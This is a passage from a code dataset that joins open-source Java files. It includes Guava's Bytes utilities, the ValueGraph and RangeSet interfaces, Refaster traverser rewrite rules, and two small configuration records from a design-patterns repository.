Returns the column key of this cell. */ @ParametricNullness C getColumnKey(); /** Returns the value of this cell. */ @ParametricNullness V getValue(); /** * Compares the specified object with this cell for equality. Two cells are equal when they have * equal row keys, column keys, and values. */ @Override boolean equals(@CheckForNull Object obj); /** * Returns the hash code of this cell. * * <p>The hash code of a table cell is equal to {@link Objects#hashCode}{@code (e.getRowKey(), * e.getColumnKey(), e.getValue())}. */ @Override int hashCode(); } }
google/guava
guava/src/com/google/common/collect/Table.java
351
package com.iluwatar.commander; /** * Record to hold parameters related to time limit * for various tasks. * @param queueTime time limit for queue * @param queueTaskTime time limit for queuing task * @param paymentTime time limit for payment error message * @param messageTime time limit for message time order * @param employeeTime time limit for employee handle time */ public record TimeLimits(long queueTime, long queueTaskTime, long paymentTime, long messageTime, long employeeTime) { public static final TimeLimits DEFAULT = new TimeLimits(240000L, 60000L, 120000L, 150000L, 240000L); }
iluwatar/java-design-patterns
commander/src/main/java/com/iluwatar/commander/TimeLimits.java
352
/* * Copyright (C) 2017 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import com.google.common.collect.TreeTraverser; import com.google.common.graph.Traverser; import com.google.errorprone.refaster.annotation.AfterTemplate; import com.google.errorprone.refaster.annotation.BeforeTemplate; import com.google.errorprone.refaster.annotation.Placeholder; /** * Refaster rules to rewrite usages of {@code com.google.common.collect.TreeTraverser} in terms of * {@code com.google.common.graph.Traverser}. */ @SuppressWarnings("DefaultPackage") public class TraverserRewrite { abstract class TreeTraverserPreOrder<N> { @Placeholder abstract Iterable<N> getChildren(N node); @BeforeTemplate Iterable<N> before1(N root) { return TreeTraverser.using((N node) -> getChildren(node)).preOrderTraversal(root); } @BeforeTemplate Iterable<N> before2(N root) { return new TreeTraverser<N>() { @Override public Iterable<N> children(N node) { return getChildren(node); } }.preOrderTraversal(root); } @AfterTemplate Iterable<N> after(N root) { return Traverser.forTree((N node) -> getChildren(node)).depthFirstPreOrder(root); } } abstract class TreeTraverserPostOrder<N> { @Placeholder abstract Iterable<N> getChildren(N node); @BeforeTemplate Iterable<N> before1(N root) { return TreeTraverser.using((N node) -> getChildren(node)).postOrderTraversal(root); } @BeforeTemplate Iterable<N> before2(N root) { return new TreeTraverser<N>() { @Override public Iterable<N> children(N node) { return getChildren(node); } }.postOrderTraversal(root); } @AfterTemplate Iterable<N> after(N root) { return Traverser.forTree((N node) -> getChildren(node)).depthFirstPostOrder(root); } } abstract class TreeTraverserBreadthFirst<N> { @Placeholder abstract Iterable<N> getChildren(N node); @BeforeTemplate Iterable<N> before1(N root) { return TreeTraverser.using((N node) -> getChildren(node)).breadthFirstTraversal(root); } @BeforeTemplate Iterable<N> before2(N root) { return new TreeTraverser<N>() { @Override public Iterable<N> children(N node) { return getChildren(node); } }.breadthFirstTraversal(root); } @AfterTemplate Iterable<N> after(N root) { return Traverser.forTree((N node) -> getChildren(node)).breadthFirst(root); } } }
google/guava
refactorings/TraverserRewrite.java
353
package com.iluwatar.commander; /** * Record to hold the parameters related to retries. * @param numOfRetries number of retries * @param retryDuration retry duration */ public record RetryParams(int numOfRetries, long retryDuration) { public static final RetryParams DEFAULT = new RetryParams(3, 30000L); }
iluwatar/java-design-patterns
commander/src/main/java/com/iluwatar/commander/RetryParams.java
355
/* * Copyright (C) 2008 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.primitives; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkElementIndex; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkPositionIndexes; import com.google.common.annotations.GwtCompatible; import java.io.Serializable; import java.util.AbstractList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.List; import java.util.RandomAccess; import javax.annotation.CheckForNull; /** * Static utility methods pertaining to {@code byte} primitives, that are not already found in * either {@link Byte} or {@link Arrays}, <i>and interpret bytes as neither signed nor unsigned</i>. * The methods which specifically treat bytes as signed or unsigned are found in {@link SignedBytes} * and {@link UnsignedBytes}. * * <p>See the Guava User Guide article on <a * href="https://github.com/google/guava/wiki/PrimitivesExplained">primitive utilities</a>. * * @author Kevin Bourrillion * @since 1.0 */ // TODO(kevinb): how to prevent warning on UnsignedBytes when building GWT // javadoc? @GwtCompatible @ElementTypesAreNonnullByDefault public final class Bytes { private Bytes() {} /** * Returns a hash code for {@code value}; equal to the result of invoking {@code ((Byte) * value).hashCode()}. * * <p><b>Java 8+ users:</b> use {@link Byte#hashCode(byte)} instead. * * @param value a primitive {@code byte} value * @return a hash code for the value */ public static int hashCode(byte value) { return value; } /** * Returns {@code true} if {@code target} is present as an element anywhere in {@code array}. * * @param array an array of {@code byte} values, possibly empty * @param target a primitive {@code byte} value * @return {@code true} if {@code array[i] == target} for some value of {@code i} */ public static boolean contains(byte[] array, byte target) { for (byte value : array) { if (value == target) { return true; } } return false; } /** * Returns the index of the first appearance of the value {@code target} in {@code array}. * * @param array an array of {@code byte} values, possibly empty * @param target a primitive {@code byte} value * @return the least index {@code i} for which {@code array[i] == target}, or {@code -1} if no * such index exists. */ public static int indexOf(byte[] array, byte target) { return indexOf(array, target, 0, array.length); } // TODO(kevinb): consider making this public private static int indexOf(byte[] array, byte target, int start, int end) { for (int i = start; i < end; i++) { if (array[i] == target) { return i; } } return -1; } /** * Returns the start position of the first occurrence of the specified {@code target} within * {@code array}, or {@code -1} if there is no such occurrence. * * <p>More formally, returns the lowest index {@code i} such that {@code Arrays.copyOfRange(array, * i, i + target.length)} contains exactly the same elements as {@code target}. * * @param array the array to search for the sequence {@code target} * @param target the array to search for as a sub-sequence of {@code array} */ public static int indexOf(byte[] array, byte[] target) { checkNotNull(array, "array"); checkNotNull(target, "target"); if (target.length == 0) { return 0; } outer: for (int i = 0; i < array.length - target.length + 1; i++) { for (int j = 0; j < target.length; j++) { if (array[i + j] != target[j]) { continue outer; } } return i; } return -1; } /** * Returns the index of the last appearance of the value {@code target} in {@code array}. * * @param array an array of {@code byte} values, possibly empty * @param target a primitive {@code byte} value * @return the greatest index {@code i} for which {@code array[i] == target}, or {@code -1} if no * such index exists. */ public static int lastIndexOf(byte[] array, byte target) { return lastIndexOf(array, target, 0, array.length); } // TODO(kevinb): consider making this public private static int lastIndexOf(byte[] array, byte target, int start, int end) { for (int i = end - 1; i >= start; i--) { if (array[i] == target) { return i; } } return -1; } /** * Returns the values from each provided array combined into a single array. For example, {@code * concat(new byte[] {a, b}, new byte[] {}, new byte[] {c}} returns the array {@code {a, b, c}}. * * @param arrays zero or more {@code byte} arrays * @return a single array containing all the values from the source arrays, in order */ public static byte[] concat(byte[]... arrays) { int length = 0; for (byte[] array : arrays) { length += array.length; } byte[] result = new byte[length]; int pos = 0; for (byte[] array : arrays) { System.arraycopy(array, 0, result, pos, array.length); pos += array.length; } return result; } /** * Returns an array containing the same values as {@code array}, but guaranteed to be of a * specified minimum length. If {@code array} already has a length of at least {@code minLength}, * it is returned directly. Otherwise, a new array of size {@code minLength + padding} is * returned, containing the values of {@code array}, and zeroes in the remaining places. * * @param array the source array * @param minLength the minimum length the returned array must guarantee * @param padding an extra amount to "grow" the array by if growth is necessary * @throws IllegalArgumentException if {@code minLength} or {@code padding} is negative * @return an array containing the values of {@code array}, with guaranteed minimum length {@code * minLength} */ public static byte[] ensureCapacity(byte[] array, int minLength, int padding) { checkArgument(minLength >= 0, "Invalid minLength: %s", minLength); checkArgument(padding >= 0, "Invalid padding: %s", padding); return (array.length < minLength) ? Arrays.copyOf(array, minLength + padding) : array; } /** * Returns an array containing each value of {@code collection}, converted to a {@code byte} value * in the manner of {@link Number#byteValue}. * * <p>Elements are copied from the argument collection as if by {@code collection.toArray()}. * Calling this method is as thread-safe as calling that method. * * @param collection a collection of {@code Number} instances * @return an array containing the same values as {@code collection}, in the same order, converted * to primitives * @throws NullPointerException if {@code collection} or any of its elements is null * @since 1.0 (parameter was {@code Collection<Byte>} before 12.0) */ public static byte[] toArray(Collection<? extends Number> collection) { if (collection instanceof ByteArrayAsList) { return ((ByteArrayAsList) collection).toByteArray(); } Object[] boxedArray = collection.toArray(); int len = boxedArray.length; byte[] array = new byte[len]; for (int i = 0; i < len; i++) { // checkNotNull for GWT (do not optimize) array[i] = ((Number) checkNotNull(boxedArray[i])).byteValue(); } return array; } /** * Returns a fixed-size list backed by the specified array, similar to {@link * Arrays#asList(Object[])}. The list supports {@link List#set(int, Object)}, but any attempt to * set a value to {@code null} will result in a {@link NullPointerException}. * * <p>The returned list maintains the values, but not the identities, of {@code Byte} objects * written to or read from it. For example, whether {@code list.get(0) == list.get(0)} is true for * the returned list is unspecified. * * <p>The returned list is serializable. * * @param backingArray the array to back the list * @return a list view of the array */ public static List<Byte> asList(byte... backingArray) { if (backingArray.length == 0) { return Collections.emptyList(); } return new ByteArrayAsList(backingArray); } @GwtCompatible private static class ByteArrayAsList extends AbstractList<Byte> implements RandomAccess, Serializable { final byte[] array; final int start; final int end; ByteArrayAsList(byte[] array) { this(array, 0, array.length); } ByteArrayAsList(byte[] array, int start, int end) { this.array = array; this.start = start; this.end = end; } @Override public int size() { return end - start; } @Override public boolean isEmpty() { return false; } @Override public Byte get(int index) { checkElementIndex(index, size()); return array[start + index]; } @Override public boolean contains(@CheckForNull Object target) { // Overridden to prevent a ton of boxing return (target instanceof Byte) && Bytes.indexOf(array, (Byte) target, start, end) != -1; } @Override public int indexOf(@CheckForNull Object target) { // Overridden to prevent a ton of boxing if (target instanceof Byte) { int i = Bytes.indexOf(array, (Byte) target, start, end); if (i >= 0) { return i - start; } } return -1; } @Override public int lastIndexOf(@CheckForNull Object target) { // Overridden to prevent a ton of boxing if (target instanceof Byte) { int i = Bytes.lastIndexOf(array, (Byte) target, start, end); if (i >= 0) { return i - start; } } return -1; } @Override public Byte set(int index, Byte element) { checkElementIndex(index, size()); byte oldValue = array[start + index]; // checkNotNull for GWT (do not optimize) array[start + index] = checkNotNull(element); return oldValue; } @Override public List<Byte> subList(int fromIndex, int toIndex) { int size = size(); checkPositionIndexes(fromIndex, toIndex, size); if (fromIndex == toIndex) { return Collections.emptyList(); } return new ByteArrayAsList(array, start + fromIndex, start + toIndex); } @Override public boolean equals(@CheckForNull Object object) { if (object == this) { return true; } if (object instanceof ByteArrayAsList) { ByteArrayAsList that = (ByteArrayAsList) object; int size = size(); if (that.size() != size) { return false; } for (int i = 0; i < size; i++) { if (array[start + i] != that.array[that.start + i]) { return false; } } return true; } return super.equals(object); } @Override public int hashCode() { int result = 1; for (int i = start; i < end; i++) { result = 31 * result + Bytes.hashCode(array[i]); } return result; } @Override public String toString() { StringBuilder builder = new StringBuilder(size() * 5); builder.append('[').append(array[start]); for (int i = start + 1; i < end; i++) { builder.append(", ").append(array[i]); } return builder.append(']').toString(); } byte[] toByteArray() { return Arrays.copyOfRange(array, start, end); } private static final long serialVersionUID = 0; } /** * Reverses the elements of {@code array}. This is equivalent to {@code * Collections.reverse(Bytes.asList(array))}, but is likely to be more efficient. * * @since 23.1 */ public static void reverse(byte[] array) { checkNotNull(array); reverse(array, 0, array.length); } /** * Reverses the elements of {@code array} between {@code fromIndex} inclusive and {@code toIndex} * exclusive. This is equivalent to {@code * Collections.reverse(Bytes.asList(array).subList(fromIndex, toIndex))}, but is likely to be more * efficient. * * @throws IndexOutOfBoundsException if {@code fromIndex < 0}, {@code toIndex > array.length}, or * {@code toIndex > fromIndex} * @since 23.1 */ public static void reverse(byte[] array, int fromIndex, int toIndex) { checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); for (int i = fromIndex, j = toIndex - 1; i < j; i++, j--) { byte tmp = array[i]; array[i] = array[j]; array[j] = tmp; } } /** * Performs a right rotation of {@code array} of "distance" places, so that the first element is * moved to index "distance", and the element at index {@code i} ends up at index {@code (distance * + i) mod array.length}. This is equivalent to {@code Collections.rotate(Bytes.asList(array), * distance)}, but is somewhat faster. * * <p>The provided "distance" may be negative, which will rotate left. * * @since 32.0.0 */ public static void rotate(byte[] array, int distance) { rotate(array, distance, 0, array.length); } /** * Performs a right rotation of {@code array} between {@code fromIndex} inclusive and {@code * toIndex} exclusive. This is equivalent to {@code * Collections.rotate(Bytes.asList(array).subList(fromIndex, toIndex), distance)}, but is somewhat * faster. * * <p>The provided "distance" may be negative, which will rotate left. * * @throws IndexOutOfBoundsException if {@code fromIndex < 0}, {@code toIndex > array.length}, or * {@code toIndex > fromIndex} * @since 32.0.0 */ public static void rotate(byte[] array, int distance, int fromIndex, int toIndex) { // See Ints.rotate for more details about possible algorithms here. checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); if (array.length <= 1) { return; } int length = toIndex - fromIndex; // Obtain m = (-distance mod length), a non-negative value less than "length". This is how many // places left to rotate. int m = -distance % length; m = (m < 0) ? m + length : m; // The current index of what will become the first element of the rotated section. int newFirstIndex = m + fromIndex; if (newFirstIndex == fromIndex) { return; } reverse(array, fromIndex, newFirstIndex); reverse(array, newFirstIndex, toIndex); reverse(array, fromIndex, toIndex); } }
google/guava
guava/src/com/google/common/primitives/Bytes.java
356
/* * Copyright (C) 2016 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.graph; import com.google.common.annotations.Beta; import java.util.Optional; import java.util.Set; import javax.annotation.CheckForNull; /** * An interface for <a * href="https://en.wikipedia.org/wiki/Graph_(discrete_mathematics)">graph</a>-structured data, * whose edges have associated non-unique values. * * <p>A graph is composed of a set of nodes and a set of edges connecting pairs of nodes. * * <p>There are three primary interfaces provided to represent graphs. In order of increasing * complexity they are: {@link Graph}, {@link ValueGraph}, and {@link Network}. You should generally * prefer the simplest interface that satisfies your use case. See the <a * href="https://github.com/google/guava/wiki/GraphsExplained#choosing-the-right-graph-type"> * "Choosing the right graph type"</a> section of the Guava User Guide for more details. * * <h3>Capabilities</h3> * * <p>{@code ValueGraph} supports the following use cases (<a * href="https://github.com/google/guava/wiki/GraphsExplained#definitions">definitions of * terms</a>): * * <ul> * <li>directed graphs * <li>undirected graphs * <li>graphs that do/don't allow self-loops * <li>graphs whose nodes/edges are insertion-ordered, sorted, or unordered * <li>graphs whose edges have associated values * </ul> * * <p>{@code ValueGraph}, as a subtype of {@code Graph}, explicitly does not support parallel edges, * and forbids implementations or extensions with parallel edges. If you need parallel edges, use * {@link Network}. (You can use a positive {@code Integer} edge value as a loose representation of * edge multiplicity, but the {@code *degree()} and mutation methods will not reflect your * interpretation of the edge value as its multiplicity.) * * <h3>Building a {@code ValueGraph}</h3> * * <p>The implementation classes that {@code common.graph} provides are not public, by design. To * create an instance of one of the built-in implementations of {@code ValueGraph}, use the {@link * ValueGraphBuilder} class: * * <pre>{@code * MutableValueGraph<Integer, Double> graph = ValueGraphBuilder.directed().build(); * }</pre> * * <p>{@link ValueGraphBuilder#build()} returns an instance of {@link MutableValueGraph}, which is a * subtype of {@code ValueGraph} that provides methods for adding and removing nodes and edges. If * you do not need to mutate a graph (e.g. if you write a method than runs a read-only algorithm on * the graph), you should use the non-mutating {@link ValueGraph} interface, or an {@link * ImmutableValueGraph}. * * <p>You can create an immutable copy of an existing {@code ValueGraph} using {@link * ImmutableValueGraph#copyOf(ValueGraph)}: * * <pre>{@code * ImmutableValueGraph<Integer, Double> immutableGraph = ImmutableValueGraph.copyOf(graph); * }</pre> * * <p>Instances of {@link ImmutableValueGraph} do not implement {@link MutableValueGraph} * (obviously!) and are contractually guaranteed to be unmodifiable and thread-safe. * * <p>The Guava User Guide has <a * href="https://github.com/google/guava/wiki/GraphsExplained#building-graph-instances">more * information on (and examples of) building graphs</a>. * * <h3>Additional documentation</h3> * * <p>See the Guava User Guide for the {@code common.graph} package (<a * href="https://github.com/google/guava/wiki/GraphsExplained">"Graphs Explained"</a>) for * additional documentation, including: * * <ul> * <li><a * href="https://github.com/google/guava/wiki/GraphsExplained#equals-hashcode-and-graph-equivalence"> * {@code equals()}, {@code hashCode()}, and graph equivalence</a> * <li><a href="https://github.com/google/guava/wiki/GraphsExplained#synchronization"> * Synchronization policy</a> * <li><a href="https://github.com/google/guava/wiki/GraphsExplained#notes-for-implementors">Notes * for implementors</a> * </ul> * * @author James Sexton * @author Joshua O'Madadhain * @param <N> Node parameter type * @param <V> Value parameter type * @since 20.0 */ @Beta @ElementTypesAreNonnullByDefault public interface ValueGraph<N, V> extends BaseGraph<N> { // // ValueGraph-level accessors // /** Returns all nodes in this graph, in the order specified by {@link #nodeOrder()}. */ @Override Set<N> nodes(); /** Returns all edges in this graph. */ @Override Set<EndpointPair<N>> edges(); /** * Returns a live view of this graph as a {@link Graph}. The resulting {@link Graph} will have an * edge connecting node A to node B if this {@link ValueGraph} has an edge connecting A to B. */ Graph<N> asGraph(); // // ValueGraph properties // /** * Returns true if the edges in this graph are directed. Directed edges connect a {@link * EndpointPair#source() source node} to a {@link EndpointPair#target() target node}, while * undirected edges connect a pair of nodes to each other. */ @Override boolean isDirected(); /** * Returns true if this graph allows self-loops (edges that connect a node to itself). Attempting * to add a self-loop to a graph that does not allow them will throw an {@link * IllegalArgumentException}. */ @Override boolean allowsSelfLoops(); /** Returns the order of iteration for the elements of {@link #nodes()}. */ @Override ElementOrder<N> nodeOrder(); /** * Returns an {@link ElementOrder} that specifies the order of iteration for the elements of * {@link #edges()}, {@link #adjacentNodes(Object)}, {@link #predecessors(Object)}, {@link * #successors(Object)} and {@link #incidentEdges(Object)}. * * @since 29.0 */ @Override ElementOrder<N> incidentEdgeOrder(); // // Element-level accessors // /** * Returns a live view of the nodes which have an incident edge in common with {@code node} in * this graph. * * <p>This is equal to the union of {@link #predecessors(Object)} and {@link #successors(Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> adjacentNodes(N node); /** * Returns a live view of all nodes in this graph adjacent to {@code node} which can be reached by * traversing {@code node}'s incoming edges <i>against</i> the direction (if any) of the edge. * * <p>In an undirected graph, this is equivalent to {@link #adjacentNodes(Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the `Set` returned by * this method will be invalidated, and will throw `IllegalStateException` if it is accessed in * any way. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> predecessors(N node); /** * Returns a live view of all nodes in this graph adjacent to {@code node} which can be reached by * traversing {@code node}'s outgoing edges in the direction (if any) of the edge. * * <p>In an undirected graph, this is equivalent to {@link #adjacentNodes(Object)}. * * <p>This is <i>not</i> the same as "all nodes reachable from {@code node} by following outgoing * edges". For that functionality, see {@link Graphs#reachableNodes(Graph, Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> successors(N node); /** * Returns a live view of the edges in this graph whose endpoints include {@code node}. * * <p>This is equal to the union of incoming and outgoing edges. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph * @since 24.0 */ @Override Set<EndpointPair<N>> incidentEdges(N node); /** * Returns the count of {@code node}'s incident edges, counting self-loops twice (equivalently, * the number of times an edge touches {@code node}). * * <p>For directed graphs, this is equal to {@code inDegree(node) + outDegree(node)}. * * <p>For undirected graphs, this is equal to {@code incidentEdges(node).size()} + (number of * self-loops incident to {@code node}). * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override int degree(N node); /** * Returns the count of {@code node}'s incoming edges (equal to {@code predecessors(node).size()}) * in a directed graph. In an undirected graph, returns the {@link #degree(Object)}. * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override int inDegree(N node); /** * Returns the count of {@code node}'s outgoing edges (equal to {@code successors(node).size()}) * in a directed graph. In an undirected graph, returns the {@link #degree(Object)}. * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override int outDegree(N node); /** * Returns true if there is an edge that directly connects {@code nodeU} to {@code nodeV}. This is * equivalent to {@code nodes().contains(nodeU) && successors(nodeU).contains(nodeV)}. * * <p>In an undirected graph, this is equal to {@code hasEdgeConnecting(nodeV, nodeU)}. * * @since 23.0 */ @Override boolean hasEdgeConnecting(N nodeU, N nodeV); /** * Returns true if there is an edge that directly connects {@code endpoints} (in the order, if * any, specified by {@code endpoints}). This is equivalent to {@code * edges().contains(endpoints)}. * * <p>Unlike the other {@code EndpointPair}-accepting methods, this method does not throw if the * endpoints are unordered and the graph is directed; it simply returns {@code false}. This is for * consistency with the behavior of {@link Collection#contains(Object)} (which does not generally * throw if the object cannot be present in the collection), and the desire to have this method's * behavior be compatible with {@code edges().contains(endpoints)}. * * @since 27.1 */ @Override boolean hasEdgeConnecting(EndpointPair<N> endpoints); /** * Returns the value of the edge that connects {@code nodeU} to {@code nodeV} (in the order, if * any, specified by {@code endpoints}), if one is present; otherwise, returns {@code * Optional.empty()}. * * @throws IllegalArgumentException if {@code nodeU} or {@code nodeV} is not an element of this * graph * @since 23.0 (since 20.0 with return type {@code V}) */ Optional<V> edgeValue(N nodeU, N nodeV); /** * Returns the value of the edge that connects {@code endpoints} (in the order, if any, specified * by {@code endpoints}), if one is present; otherwise, returns {@code Optional.empty()}. * * <p>If this graph is directed, the endpoints must be ordered. * * @throws IllegalArgumentException if either endpoint is not an element of this graph * @throws IllegalArgumentException if the endpoints are unordered and the graph is directed * @since 27.1 */ Optional<V> edgeValue(EndpointPair<N> endpoints); /** * Returns the value of the edge that connects {@code nodeU} to {@code nodeV}, if one is present; * otherwise, returns {@code defaultValue}. * * <p>In an undirected graph, this is equal to {@code edgeValueOrDefault(nodeV, nodeU, * defaultValue)}. * * @throws IllegalArgumentException if {@code nodeU} or {@code nodeV} is not an element of this * graph */ @CheckForNull V edgeValueOrDefault(N nodeU, N nodeV, @CheckForNull V defaultValue); /** * Returns the value of the edge that connects {@code endpoints} (in the order, if any, specified * by {@code endpoints}), if one is present; otherwise, returns {@code defaultValue}. * * <p>If this graph is directed, the endpoints must be ordered. * * @throws IllegalArgumentException if either endpoint is not an element of this graph * @throws IllegalArgumentException if the endpoints are unordered and the graph is directed * @since 27.1 */ @CheckForNull V edgeValueOrDefault(EndpointPair<N> endpoints, @CheckForNull V defaultValue); // // ValueGraph identity // /** * Returns {@code true} iff {@code object} is a {@link ValueGraph} that has the same elements and * the same structural relationships as those in this graph. * * <p>Thus, two value graphs A and B are equal if <b>all</b> of the following are true: * * <ul> * <li>A and B have equal {@link #isDirected() directedness}. * <li>A and B have equal {@link #nodes() node sets}. * <li>A and B have equal {@link #edges() edge sets}. * <li>The {@link #edgeValue(N, N) value} of a given edge is the same in both A and B. * </ul> * * <p>Graph properties besides {@link #isDirected() directedness} do <b>not</b> affect equality. * For example, two graphs may be considered equal even if one allows self-loops and the other * doesn't. Additionally, the order in which nodes or edges are added to the graph, and the order * in which they are iterated over, are irrelevant. * * <p>A reference implementation of this is provided by {@link AbstractValueGraph#equals(Object)}. */ @Override boolean equals(@CheckForNull Object object); /** * Returns the hash code for this graph. The hash code of a graph is defined as the hash code of a * map from each of its {@link #edges() edges} to the associated {@link #edgeValue(N, N) edge * value}. * * <p>A reference implementation of this is provided by {@link AbstractValueGraph#hashCode()}. */ @Override int hashCode(); }
google/guava
guava/src/com/google/common/graph/ValueGraph.java
357
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.collect; import com.google.common.annotations.GwtIncompatible; import com.google.errorprone.annotations.DoNotMock; import java.util.NoSuchElementException; import java.util.Set; import javax.annotation.CheckForNull; /** * A set comprising zero or more {@linkplain Range#isEmpty nonempty}, {@linkplain * Range#isConnected(Range) disconnected} ranges of type {@code C}. * * <p>Implementations that choose to support the {@link #add(Range)} operation are required to * ignore empty ranges and coalesce connected ranges. For example: * * <pre>{@code * RangeSet<Integer> rangeSet = TreeRangeSet.create(); * rangeSet.add(Range.closed(1, 10)); // {[1, 10]} * rangeSet.add(Range.closedOpen(11, 15)); // disconnected range; {[1, 10], [11, 15)} * rangeSet.add(Range.closedOpen(15, 20)); // connected range; {[1, 10], [11, 20)} * rangeSet.add(Range.openClosed(0, 0)); // empty range; {[1, 10], [11, 20)} * rangeSet.remove(Range.open(5, 10)); // splits [1, 10]; {[1, 5], [10, 10], [11, 20)} * }</pre> * * <p>Note that the behavior of {@link Range#isEmpty()} and {@link Range#isConnected(Range)} may not * be as expected on discrete ranges. See the Javadoc of those methods for details. * * <p>For a {@link Set} whose contents are specified by a {@link Range}, see {@link ContiguousSet}. * * <p>See the Guava User Guide article on <a href= * "https://github.com/google/guava/wiki/NewCollectionTypesExplained#rangeset">RangeSets</a>. * * @author Kevin Bourrillion * @author Louis Wasserman * @since 14.0 */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 @DoNotMock("Use ImmutableRangeSet or TreeRangeSet") @GwtIncompatible @ElementTypesAreNonnullByDefault public interface RangeSet<C extends Comparable> { // TODO(lowasser): consider adding default implementations of some of these methods // Query methods /** Determines whether any of this range set's member ranges contains {@code value}. */ boolean contains(C value); /** * Returns the unique range from this range set that {@linkplain Range#contains contains} {@code * value}, or {@code null} if this range set does not contain {@code value}. */ @CheckForNull Range<C> rangeContaining(C value); /** * Returns {@code true} if there exists a non-empty range enclosed by both a member range in this * range set and the specified range. This is equivalent to calling {@code * subRangeSet(otherRange)} and testing whether the resulting range set is non-empty. * * @since 20.0 */ boolean intersects(Range<C> otherRange); /** * Returns {@code true} if there exists a member range in this range set which {@linkplain * Range#encloses encloses} the specified range. */ boolean encloses(Range<C> otherRange); /** * Returns {@code true} if for each member range in {@code other} there exists a member range in * this range set which {@linkplain Range#encloses encloses} it. It follows that {@code * this.contains(value)} whenever {@code other.contains(value)}. Returns {@code true} if {@code * other} is empty. * * <p>This is equivalent to checking if this range set {@link #encloses} each of the ranges in * {@code other}. */ boolean enclosesAll(RangeSet<C> other); /** * Returns {@code true} if for each range in {@code other} there exists a member range in this * range set which {@linkplain Range#encloses encloses} it. Returns {@code true} if {@code other} * is empty. * * <p>This is equivalent to checking if this range set {@link #encloses} each range in {@code * other}. * * @since 21.0 */ default boolean enclosesAll(Iterable<Range<C>> other) { for (Range<C> range : other) { if (!encloses(range)) { return false; } } return true; } /** Returns {@code true} if this range set contains no ranges. */ boolean isEmpty(); /** * Returns the minimal range which {@linkplain Range#encloses(Range) encloses} all ranges in this * range set. * * @throws NoSuchElementException if this range set is {@linkplain #isEmpty() empty} */ Range<C> span(); // Views /** * Returns a view of the {@linkplain Range#isConnected disconnected} ranges that make up this * range set. The returned set may be empty. The iterators returned by its {@link * Iterable#iterator} method return the ranges in increasing order of lower bound (equivalently, * of upper bound). */ Set<Range<C>> asRanges(); /** * Returns a descending view of the {@linkplain Range#isConnected disconnected} ranges that make * up this range set. The returned set may be empty. The iterators returned by its {@link * Iterable#iterator} method return the ranges in decreasing order of lower bound (equivalently, * of upper bound). * * @since 19.0 */ Set<Range<C>> asDescendingSetOfRanges(); /** * Returns a view of the complement of this {@code RangeSet}. * * <p>The returned view supports the {@link #add} operation if this {@code RangeSet} supports * {@link #remove}, and vice versa. */ RangeSet<C> complement(); /** * Returns a view of the intersection of this {@code RangeSet} with the specified range. * * <p>The returned view supports all optional operations supported by this {@code RangeSet}, with * the caveat that an {@link IllegalArgumentException} is thrown on an 